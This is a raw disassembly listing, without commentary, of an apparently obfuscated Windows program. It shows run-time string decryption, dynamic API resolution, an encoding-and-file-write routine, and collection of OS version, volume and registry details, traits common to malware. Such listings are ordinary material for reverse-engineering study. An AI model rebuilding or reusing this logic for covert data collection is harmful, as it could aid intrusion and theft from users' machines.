		jmp	loc_41ACD6
; ---------------------------------------------------------------------------


loc_41A78B:				; CODE XREF: .data:0041A773j
		cmp	dword ptr [ebp+10h], 9
		jnz	loc_41ACD6
		mov	edi, ds:1001212Ch
		sub	edi, 5
		jmp	short loc_41A80B
; ---------------------------------------------------------------------------


loc_41A7A0:				; CODE XREF: .data:0041A81Ej
		mov	eax, 30h
		mul	edi
		mov	[ebp-208h], eax
		cmp	ds:1000F380h[eax], esi
		jnz	short loc_41A7D5
		mov	eax, 30h
		mul	edi
		mov	[ebp-20Ch], eax
		push	dword ptr ds:1000F384h[eax]
		call	dword ptr ds:1000EA40h
		jmp	loc_41ACD6
; ---------------------------------------------------------------------------


loc_41A7D5:				; CODE XREF: .data:0041A7B4j
		mov	eax, 30h
		mul	edi
		mov	[ebp-20Ch], eax
		cmp	ds:1000F384h[eax], esi
		jnz	short loc_41A80A
		mov	eax, 30h
		mul	edi
		mov	[ebp-210h], eax
		push	dword ptr ds:1000F388h[eax]
		call	dword ptr ds:1000EA40h
		jmp	loc_41ACD6
; ---------------------------------------------------------------------------


loc_41A80A:				; CODE XREF: .data:0041A7E9j
		inc	edi


loc_41A80B:				; CODE XREF: .data:0041A79Ej
		mov	eax, ds:100121ACh
		add	eax, 5Bh
		movsx	edx, word ptr ds:100120D8h
		add	eax, edx
		cmp	edi, eax
		jb	short loc_41A7A0
		jmp	loc_41ACD6
; ---------------------------------------------------------------------------


loc_41A825:				; CODE XREF: .data:0041A780j
		mov	edi, ds:100120CCh
		dec	edi
		jmp	short loc_41A848
; ---------------------------------------------------------------------------


loc_41A82E:				; CODE XREF: .data:0041A854j
		mov	eax, 30h
		mul	edi
		mov	[ebp-208h], eax
		mov	eax, ds:1000F38Ch[eax]
		cmp	[ebp+14h], eax
		jz	short loc_41A856
		inc	edi


loc_41A848:				; CODE XREF: .data:0041A82Cj
		movsx	eax, word ptr ds:10012100h
		add	eax, 5Bh
		cmp	edi, eax
		jb	short loc_41A82E


loc_41A856:				; CODE XREF: .data:0041A845j
		movsx	eax, word ptr ds:10012194h
		add	eax, 64h
		cmp	edi, eax
		jz	loc_41ACD6
		push	0FFh
		lea	eax, [ebp-103h]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-20Ch], eax
		push	dword ptr ds:1000F378h[eax]
		call	dword ptr ds:10011BA4h
		mov	eax, ds:100121B8h
		mov	byte ptr [ebp+eax-207h], 4Bh
		mov	eax, ds:100121B0h
		add	eax, ds:100121C0h
		mov	edx, ds:1001209Ch
		add	edx, ds:100120ECh
		sub	edx, 0Dh
		mov	[ebp+eax-206h],	dl
		lea	eax, [ebp-103h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000C020h
		add	esp, 8
		push	0FFh
		lea	eax, [ebp-103h]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-210h], eax
		push	dword ptr ds:1000F380h[eax]
		call	dword ptr ds:10011BA4h
		mov	eax, ds:10012198h
		movsx	edx, word ptr ds:100121A8h
		add	eax, edx
		movsx	eax, byte ptr [ebp+eax-10Bh]
		movsx	edx, word ptr ds:1001216Ch
		add	edx, ds:100120A4h
		sub	edx, 6
		cmp	eax, edx
		jnz	short loc_41A95A
		mov	eax, ds:1001217Ch
		sub	eax, 6
		push	eax
		push	0
		push	10013837h
		push	0
		call	dword ptr ds:10011640h
		mov	eax, 30h
		mul	edi
		mov	[ebp-214h], eax
		push	dword ptr ds:1000F380h[eax]
		call	dword ptr ds:1000EA40h
		jmp	loc_41ACD6
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: .data:0041A921j
		push	10013832h
		call	sub_4228CE
		push	eax
		lea	edx, [ebp-204h]
		push	edx
		call	dword ptr ds:1000C020h
		lea	eax, [ebp-103h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000C020h
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp-103h]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-214h], eax
		push	dword ptr ds:1000F384h[eax]
		call	dword ptr ds:10011BA4h
		mov	eax, ds:100120ACh
		add	eax, ds:100121CCh
		movsx	eax, byte ptr [ebp+eax-10Ah]
		mov	edx, ds:100120E4h
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_41AA0C
		mov	eax, ds:1001218Ch
		add	eax, ds:100121C8h
		sub	eax, 3
		push	eax
		push	0
		push	10013813h
		push	0
		call	dword ptr ds:10011640h
		mov	eax, 30h
		mul	edi
		mov	[ebp-218h], eax
		push	dword ptr ds:1000F384h[eax]
		call	dword ptr ds:1000EA40h
		jmp	loc_41ACD6
; ---------------------------------------------------------------------------


loc_41AA0C:				; CODE XREF: .data:0041A9CDj
		push	1001380Eh
		call	sub_4228CE
		push	eax
		lea	edx, [ebp-204h]
		push	edx
		call	dword ptr ds:1000C020h
		lea	eax, [ebp-103h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000C020h
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp-103h]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-218h], eax
		push	dword ptr ds:1000F388h[eax]
		call	dword ptr ds:10011BA4h
		movsx	eax, word ptr ds:10012194h
		add	eax, ds:10012188h
		movsx	eax, byte ptr [ebp+eax-103h]
		mov	edx, ds:1001209Ch
		sub	edx, 8
		cmp	eax, edx
		jz	loc_41ABB9
		lea	ecx, [ebp-103h]
		or	eax, 0FFFFFFFFh


loc_41AA90:				; CODE XREF: .data:0041AA95j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41AA90
		mov	edx, eax
		mov	ecx, ds:100121B8h
		movsx	eax, word ptr ds:10012100h
		add	ecx, eax
		sub	ecx, 8
		cmp	edx, ecx
		jb	loc_41ABB9
		mov	eax, ds:100120C4h
		add	eax, ds:100120F0h
		sub	eax, 8
		mov	[ebp-105h], al
		jmp	short loc_41AAEB
; ---------------------------------------------------------------------------


loc_41AAC9:				; CODE XREF: .data:0041AB04j
		movzx	eax, byte ptr [ebp-105h]
		mov	al, [ebp+eax-103h]
		cmp	al, 30h
		jl	short loc_41AADF
		cmp	al, 39h
		jle	short loc_41AAE4


loc_41AADF:				; CODE XREF: .data:0041AAD9j
		jmp	loc_41ABB9
; ---------------------------------------------------------------------------


loc_41AAE4:				; CODE XREF: .data:0041AADDj
		add	byte ptr [ebp-105h], 1


loc_41AAEB:				; CODE XREF: .data:0041AAC7j
		lea	ecx, [ebp-103h]
		or	eax, 0FFFFFFFFh


loc_41AAF4:				; CODE XREF: .data:0041AAF9j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41AAF4
		movzx	ecx, byte ptr [ebp-105h]
		cmp	ecx, eax
		jb	short loc_41AAC9
		movsx	eax, word ptr ds:100120D8h
		add	eax, ds:100120D4h
		sub	eax, 6
		mov	[ebp-104h], al
		jmp	short loc_41AB95
; ---------------------------------------------------------------------------


loc_41AB1E:				; CODE XREF: .data:0041ABAEj
		mov	al, [ebp-104h]
		mov	[ebp-219h], al
		jmp	short loc_41AB55
; ---------------------------------------------------------------------------


loc_41AB2C:				; CODE XREF: .data:0041AB6Ej
		movzx	eax, byte ptr [ebp-219h]
		movsx	eax, byte ptr [ebp+eax-103h]
		movzx	edx, byte ptr [ebp-104h]
		movsx	edx, byte ptr [ebp+edx-103h]
		cmp	eax, edx
		jnz	short loc_41AB70
		add	byte ptr [ebp-219h], 1


loc_41AB55:				; CODE XREF: .data:0041AB2Aj
		lea	ecx, [ebp-103h]
		or	eax, 0FFFFFFFFh


loc_41AB5E:				; CODE XREF: .data:0041AB63j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41AB5E
		movzx	ecx, byte ptr [ebp-219h]
		cmp	ecx, eax
		jb	short loc_41AB2C


loc_41AB70:				; CODE XREF: .data:0041AB4Cj
		movzx	eax, byte ptr [ebp-219h]
		movzx	edx, byte ptr [ebp-104h]
		sub	eax, edx
		movsx	edx, word ptr ds:100120C8h
		sub	edx, 4
		cmp	eax, edx
		jg	short loc_41ABB9
		add	byte ptr [ebp-104h], 1


loc_41AB95:				; CODE XREF: .data:0041AB1Cj
		lea	ecx, [ebp-103h]
		or	eax, 0FFFFFFFFh


loc_41AB9E:				; CODE XREF: .data:0041ABA3j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41AB9E
		movzx	ecx, byte ptr [ebp-104h]
		cmp	ecx, eax
		jb	loc_41AB1E
		jmp	loc_41AC4F
; ---------------------------------------------------------------------------


loc_41ABB9:				; CODE XREF: .data:0041AA81j
					; .data:0041AAADj ...
		movsx	eax, word ptr ds:100120C8h
		add	eax, 7C9h
		push	eax
		call	dword ptr ds:10011630h
		push	100137D5h
		call	sub_4228CE
		mov	[ebp-21Ch], eax
		push	100137BEh
		call	sub_4228CE
		mov	edx, ds:1001218Ch
		add	edx, ds:10012174h
		sub	edx, 0Ah
		push	edx
		push	eax
		mov	edx, [ebp-21Ch]
		push	edx
		push	0
		call	dword ptr ds:10011640h
		push	100137BAh
		call	sub_4228CE
		add	esp, 10h
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-220h], eax
		mov	edx, eax
		push	dword ptr ds:1000F388h[edx]
		call	dword ptr ds:10011654h
		mov	eax, 30h
		mul	edi
		mov	[ebp-224h], eax
		push	dword ptr ds:1000F388h[eax]
		call	dword ptr ds:1000EA40h
		jmp	loc_41ACD6
; ---------------------------------------------------------------------------


loc_41AC4F:				; CODE XREF: .data:0041ABB4j
		push	100137B5h
		call	sub_4228CE
		push	eax
		lea	edx, [ebp-204h]
		push	edx
		call	dword ptr ds:1000C020h
		lea	eax, [ebp-103h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000C020h
		mov	eax, 30h
		mul	edi
		mov	[ebp-228h], eax
		push	dword ptr ds:1000F378h[eax]
		call	dword ptr ds:1000F224h
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000C04Ch
		add	esp, 18h
		push	5
		mov	eax, 30h
		mul	edi
		mov	[ebp-22Ch], eax
		push	dword ptr ds:1000F374h[eax]
		call	dword ptr ds:10011658h
		mov	eax, 30h
		mul	edi
		mov	[ebp-230h], eax
		and	dword ptr ds:1000F370h[eax], 0


loc_41ACD6:				; CODE XREF: .data:0041A775j
					; .data:0041A786j ...
		mov	edi, ds:10012124h
		dec	edi
		jmp	loc_41ADB6
; ---------------------------------------------------------------------------


loc_41ACE2:				; CODE XREF: .data:0041ADC0j
		mov	eax, 30h
		mul	edi
		mov	[ebp-8], eax
		cmp	esi, ds:1000F380h[eax]
		jnz	short loc_41AD19
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp-0Ch], eax
		push	dword ptr ds:1000F390h[eax]
		call	dword ptr ds:1001160Ch
		jmp	loc_41ADC6
; ---------------------------------------------------------------------------


loc_41AD19:				; CODE XREF: .data:0041ACF3j
		mov	eax, 30h
		mul	edi
		mov	[ebp-10h], eax
		cmp	esi, ds:1000F384h[eax]
		jnz	short loc_41AD4D
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp-14h], eax
		push	dword ptr ds:1000F394h[eax]
		call	dword ptr ds:1001160Ch
		jmp	short loc_41ADC6
; ---------------------------------------------------------------------------


loc_41AD4D:				; CODE XREF: .data:0041AD2Aj
		mov	eax, 30h
		mul	edi
		mov	[ebp-18h], eax
		cmp	esi, ds:1000F388h[eax]
		jnz	short loc_41AD81
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp-1Ch], eax
		push	dword ptr ds:1000F398h[eax]
		call	dword ptr ds:1001160Ch
		jmp	short loc_41ADC6
; ---------------------------------------------------------------------------


loc_41AD81:				; CODE XREF: .data:0041AD5Ej
		mov	eax, 30h
		mul	edi
		mov	[ebp-20h], eax
		cmp	esi, ds:1000F37Ch[eax]
		jnz	short loc_41ADB5
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp-24h], eax
		push	dword ptr ds:1000F39Ch[eax]
		call	dword ptr ds:1001160Ch
		jmp	short loc_41ADC6
; ---------------------------------------------------------------------------


loc_41ADB5:				; CODE XREF: .data:0041AD92j
		inc	edi


loc_41ADB6:				; CODE XREF: .data:0041ACDDj
		mov	eax, ds:1001213Ch
		add	eax, 62h
		cmp	edi, eax
		jb	loc_41ACE2


loc_41ADC6:				; CODE XREF: .data:0041AD14j
					; .data:0041AD4Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADCD	proc near		; CODE XREF: sub_41BB8D+17Dp
					; sub_41F4F7+CCp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	ebx
		call	dword ptr ds:1000C000h
		mov	edi, eax
		push	0
		push	0
		movsx	eax, word ptr ds:10012154h
		add	eax, 1FF7h
		push	eax
		push	esi
		push	edi
		push	ebx
		mov	eax, ds:100121C0h
		sub	eax, 3
		push	eax
		push	0
		call	dword ptr ds:1000C00Ch
		mov	eax, ds:10012138h
		add	eax, ds:10012120h
		sub	eax, 0Ah
		mov	[esi+edi], al
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41ADCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE1F	proc near		; CODE XREF: .data:00423028p
		push	edi
		push	100137A8h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000E5E8h
		mov	ds:100121E0h, eax
		test	eax, eax
		jnz	short loc_41AE52
		push	1001379Bh
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000F244h
		mov	ds:100121E0h, eax


loc_41AE52:				; CODE XREF: sub_41AE1F+1Aj
		push	1001378Ch
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121E0h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000F250h, eax
		push	1001377Ah
		call	sub_4228CE
		add	esp, 8
		push	eax
		push	dword ptr ds:100121E0h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000D120h, eax
		pop	edi
		retn
sub_41AE1F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	10011784h
		call	dword ptr ds:1000EA3Ch
		mov	eax, ds:10011784h
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		push	ebx
		push	esi
		push	edi
		movsx	eax, word ptr ds:10012090h
		add	eax, ds:100121ACh
		sub	eax, 5
		mov	edx, [ebp+8]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_41AEDE
		push	1000E0F0h
		lea	eax, [ebp-110h]
		push	eax
		call	sub_424F6D
		jmp	short loc_41AEEF
; ---------------------------------------------------------------------------


loc_41AEDE:				; CODE XREF: .data:0041AEC9j
		push	1000F260h
		lea	eax, [ebp-110h]
		push	eax
		call	sub_424F6D


loc_41AEEF:				; CODE XREF: .data:0041AEDCj
		push	0
		mov	eax, ds:100121C8h
		movsx	edx, word ptr ds:10012194h
		add	eax, edx
		sub	eax, 2
		push	eax
		push	4
		push	0
		movsx	eax, word ptr ds:100120E0h
		add	eax, ds:10012124h
		dec	eax
		push	eax
		push	40000000h
		lea	eax, [ebp-110h]
		push	eax
		call	dword ptr ds:10011788h
		mov	[ebp-8], eax
		push	2
		push	0
		mov	eax, ds:100121C8h
		sub	eax, 2
		push	eax
		push	dword ptr [ebp-8]
		call	dword ptr ds:10011B9Ch
		push	10013772h
		call	sub_4228CE
		pop	ecx
		push	0
		lea	edx, [ebp-0Ch]
		push	edx
		movsx	edx, word ptr ds:1001216Ch
		movsx	ecx, word ptr ds:100121BCh
		add	edx, ecx
		sub	edx, 6
		push	edx
		push	eax
		push	dword ptr [ebp-8]
		call	dword ptr ds:10011B8Ch
		push	493E0h
		push	40h
		call	dword ptr ds:1000EA34h
		mov	ebx, eax
		push	61A80h
		push	40h
		call	dword ptr ds:1000EA34h
		mov	esi, eax
		movsx	eax, word ptr ds:100120E0h
		add	eax, ds:100120B4h
		sub	eax, 8
		mov	edx, [ebp+8]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_41AFB4
		mov	eax, [ebp+8]
		inc	eax
		push	eax
		push	ebx
		call	sub_424F6D
		jmp	short loc_41AFBD
; ---------------------------------------------------------------------------


loc_41AFB4:				; CODE XREF: .data:0041AFA5j
		push	dword ptr [ebp+8]
		push	ebx
		call	sub_424F6D


loc_41AFBD:				; CODE XREF: .data:0041AFB2j
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_41AFC2:				; CODE XREF: .data:0041AFC7j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41AFC2
		mov	[ebp-4], eax
		mov	eax, ds:100120CCh
		mov	edi, eax
		add	edi, ds:10012184h
		sub	edi, 7
		jmp	short loc_41B004
; ---------------------------------------------------------------------------


loc_41AFDE:				; CODE XREF: .data:0041B007j
		movzx	eax, byte ptr [ebx+edi]
		mov	[ebp-114h], eax
		mov	eax, edi
		mul	edi
		mov	[ebp-118h], eax
		mov	eax, [ebp-114h]
		mov	edx, [ebp-118h]
		add	eax, edx
		mov	[ebx+edi], al
		inc	edi


loc_41B004:				; CODE XREF: .data:0041AFDCj
		cmp	edi, [ebp-4]
		jb	short loc_41AFDE
		mov	eax, ds:1001212Ch
		add	eax, 61A73h
		movsx	edx, word ptr ds:10012154h
		add	eax, edx
		push	eax
		push	esi
		push	dword ptr [ebp-4]
		push	ebx
		call	sub_41B7B4
		add	esp, 10h
		mov	eax, ds:100120C0h
		mov	edi, eax
		add	edi, ds:100121ACh
		sub	edi, 5
		jmp	short loc_41B051
; ---------------------------------------------------------------------------


loc_41B03C:				; CODE XREF: .data:0041B05Fj
		cmp	byte ptr [esi+edi], 2Bh
		jnz	short loc_41B046
		mov	byte ptr [esi+edi], 28h


loc_41B046:				; CODE XREF: .data:0041B040j
		cmp	byte ptr [esi+edi], 3Dh
		jnz	short loc_41B050
		mov	byte ptr [esi+edi], 29h


loc_41B050:				; CODE XREF: .data:0041B04Aj
		inc	edi


loc_41B051:				; CODE XREF: .data:0041B03Aj
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41B056:				; CODE XREF: .data:0041B05Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41B056
		cmp	edi, eax
		jb	short loc_41B03C
		mov	eax, ds:10012174h
		sub	eax, 9
		mov	edx, [ebp+8]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_41B08F
		push	0
		lea	eax, [ebp-0Ch]
		push	eax
		mov	eax, ds:100120FCh
		sub	eax, 6
		push	eax
		push	10013770h
		push	dword ptr [ebp-8]
		call	dword ptr ds:10011B8Ch


loc_41B08F:				; CODE XREF: .data:0041B070j
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41B094:				; CODE XREF: .data:0041B099j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41B094
		push	0
		lea	edx, [ebp-0Ch]
		push	edx
		movsx	edx, word ptr ds:10012168h
		sub	edx, 7
		mov	edi, eax
		add	edi, edx
		push	edi
		push	esi
		push	dword ptr [ebp-8]
		call	dword ptr ds:10011B8Ch
		push	dword ptr [ebp-8]
		call	dword ptr ds:10010650h
		push	ebx
		call	dword ptr ds:1000E618h
		push	esi
		call	dword ptr ds:1000E618h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0D6	proc near		; CODE XREF: .data:00422CA1p
					; sub_423996+165p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	dword ptr ds:10011788h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_41B11E
		cmp	[ebp+arg_4], 0
		jz	short loc_41B11A
		mov	eax, [ebp+arg_4]
		mov	edx, ds:100120F8h
		add	edx, ds:1001209Ch
		sub	edx, 0Ah
		mov	[eax], edx


loc_41B11A:				; CODE XREF: sub_41B0D6+2Ej
		xor	eax, eax
		jmp	short loc_41B162
; ---------------------------------------------------------------------------


loc_41B11E:				; CODE XREF: sub_41B0D6+28j
		push	0
		push	edi
		call	dword ptr ds:10011624h
		mov	esi, eax
		add	eax, 10h
		push	eax
		push	40h
		call	dword ptr ds:1000EA34h
		mov	ebx, eax
		push	0
		cmp	[ebp+arg_4], 0
		jz	short loc_41B147
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		jmp	short loc_41B14D
; ---------------------------------------------------------------------------


loc_41B147:				; CODE XREF: sub_41B0D6+67j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax


loc_41B14D:				; CODE XREF: sub_41B0D6+6Fj
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	edi
		call	dword ptr ds:1000C028h
		push	edi
		call	dword ptr ds:10010650h
		mov	eax, ebx


loc_41B162:				; CODE XREF: sub_41B0D6+46j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B167	proc near		; CODE XREF: .data:00423041p
		push	edi
		push	10013761h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000E5E8h
		mov	ds:100121F4h, eax
		test	eax, eax
		jnz	short loc_41B19A
		push	10013752h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000F244h
		mov	ds:100121F4h, eax


loc_41B19A:				; CODE XREF: sub_41B167+1Aj
		push	1001373Eh
		call	sub_4228CE
		pop	ecx
		push	eax
		push	dword ptr ds:100121F4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000EA44h, eax
		pop	edi
		retn
sub_41B167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B1B9	proc near		; CODE XREF: sub_41B939+17Fp

var_170		= byte ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 170h
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000E5FCh
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_41C3F2
		push	10013739h
		call	sub_4228CE
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000C020h
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000C020h
		push	10013731h
		call	sub_4228CE
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000C020h
		add	esp, 24h
		push	0
		movsx	eax, word ptr ds:10012100h
		add	eax, ds:100120E4h
		sub	eax, 0Bh
		push	eax
		push	3
		push	0
		mov	eax, ds:10012160h
		sub	eax, 8
		push	eax
		push	80000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:10011788h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_41B27C
		mov	eax, ds:10012160h
		sub	eax, 8
		mov	edx, [ebp+arg_0]
		movsx	ecx, word ptr ds:100120B0h
		sub	ecx, 8
		mov	[edx+eax], cl
		jmp	short loc_41B2E0
; ---------------------------------------------------------------------------


loc_41B27C:				; CODE XREF: sub_41B1B9+A7j
		push	0
		push	0
		push	[ebp+arg_4]
		push	edi
		call	dword ptr ds:10011B9Ch
		push	0
		lea	eax, [ebp+var_170]
		push	eax
		movsx	eax, word ptr ds:100120B0h
		mov	edx, ds:10012124h
		lea	eax, [eax+edx+0Bh]
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	dword ptr ds:1000C028h
		mov	[ebp+var_16C], eax
		push	edi
		call	dword ptr ds:10010650h
		mov	eax, ds:100120C4h
		sub	eax, 4
		cmp	[ebp+var_16C], eax
		jnz	short loc_41B2E0
		mov	eax, ds:10012130h
		mov	edx, [ebp+arg_0]
		mov	ecx, ds:100121C4h
		sub	ecx, 5
		mov	[edx+eax], cl


loc_41B2E0:				; CODE XREF: sub_41B1B9+C1j
					; sub_41B1B9+111j
		pop	edi
		pop	esi
		leave
		retn
sub_41B1B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2E4	proc near		; CODE XREF: .data:00423032p
		push	edi
		push	10013721h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000E5E8h
		mov	ds:100121E8h, eax
		test	eax, eax
		jnz	short loc_41B317
		push	10013711h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000F244h
		mov	ds:100121E8h, eax


loc_41B317:				; CODE XREF: sub_41B2E4+1Aj
		push	100136FFh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121E8h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C044h, eax
		push	100136EEh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121E8h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011BA0h, eax
		push	100136DEh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121E8h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011BB0h, eax
		push	100136CFh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121E8h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C038h, eax
		push	100136BFh
		call	sub_4228CE
		add	esp, 14h
		push	eax
		push	dword ptr ds:100121E8h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000F254h, eax
		pop	edi
		retn
sub_41B2E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B3A8	proc near		; CODE XREF: sub_41C68E+D1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	10012250h
		push	10012210h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_424505
		pop	ebp
		retn
sub_41B3A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B3C2	proc near		; CODE XREF: sub_41B939+91p

var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_198		= dword	ptr -198h
var_193		= dword	ptr -193h
var_18F		= dword	ptr -18Fh
var_18B		= dword	ptr -18Bh
var_187		= dword	ptr -187h
var_183		= dword	ptr -183h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ACh
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	byte ptr [edi],	0
		mov	[ebp+var_193], 94h
		lea	eax, [ebp+var_193]
		push	eax
		call	dword ptr ds:10011B98h
		cmp	[ebp+var_183], 1
		jnz	short loc_41B408
		push	100136B9h
		call	sub_4228CE
		push	eax
		push	edi
		call	dword ptr ds:1000C020h
		add	esp, 0Ch


loc_41B408:				; CODE XREF: sub_41B3C2+2Fj
		cmp	[ebp+var_183], 2
		jnz	short loc_41B426
		push	100136B3h
		call	sub_4228CE
		push	eax
		push	edi
		call	dword ptr ds:10011634h
		add	esp, 0Ch


loc_41B426:				; CODE XREF: sub_41B3C2+4Dj
		push	100136A7h
		call	sub_4228CE
		push	[ebp+var_187]
		push	[ebp+var_18B]
		push	[ebp+var_18F]
		push	eax
		lea	esi, [ebp+var_FF]
		push	esi
		call	dword ptr ds:10011634h
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000C020h
		push	100136A0h
		call	sub_4228CE
		mov	esi, ds:100121A0h
		sub	esi, 6
		push	esi
		push	0
		lea	esi, [ebp+var_19C]
		push	esi
		lea	esi, [ebp+var_19C]
		push	esi
		lea	esi, [ebp+var_198]
		push	esi
		push	0FFh
		lea	esi, [ebp+var_FF]
		push	esi
		push	eax
		call	dword ptr ds:10011614h
		push	10013698h
		call	sub_4228CE
		push	[ebp+var_198]
		push	eax
		lea	esi, [ebp+var_FF]
		push	esi
		call	dword ptr ds:10011634h
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000C020h
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		mov	eax, ds:1001218Ch
		add	eax, 2
		push	eax
		push	400h
		call	dword ptr ds:1000E5F4h
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000C020h
		push	10013693h
		call	sub_4228CE
		push	eax
		push	edi
		call	dword ptr ds:1000C020h
		mov	[ebp+var_1A0], 0FFh
		push	10013666h
		call	sub_4228CE
		mov	[ebp+var_1AC], eax
		push	10013659h
		call	sub_4228CE
		lea	esi, [ebp+var_1A8]
		push	esi
		lea	esi, [ebp+var_1A0]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		push	eax
		mov	esi, [ebp+var_1AC]
		push	esi
		push	80000002h
		call	sub_4213C8
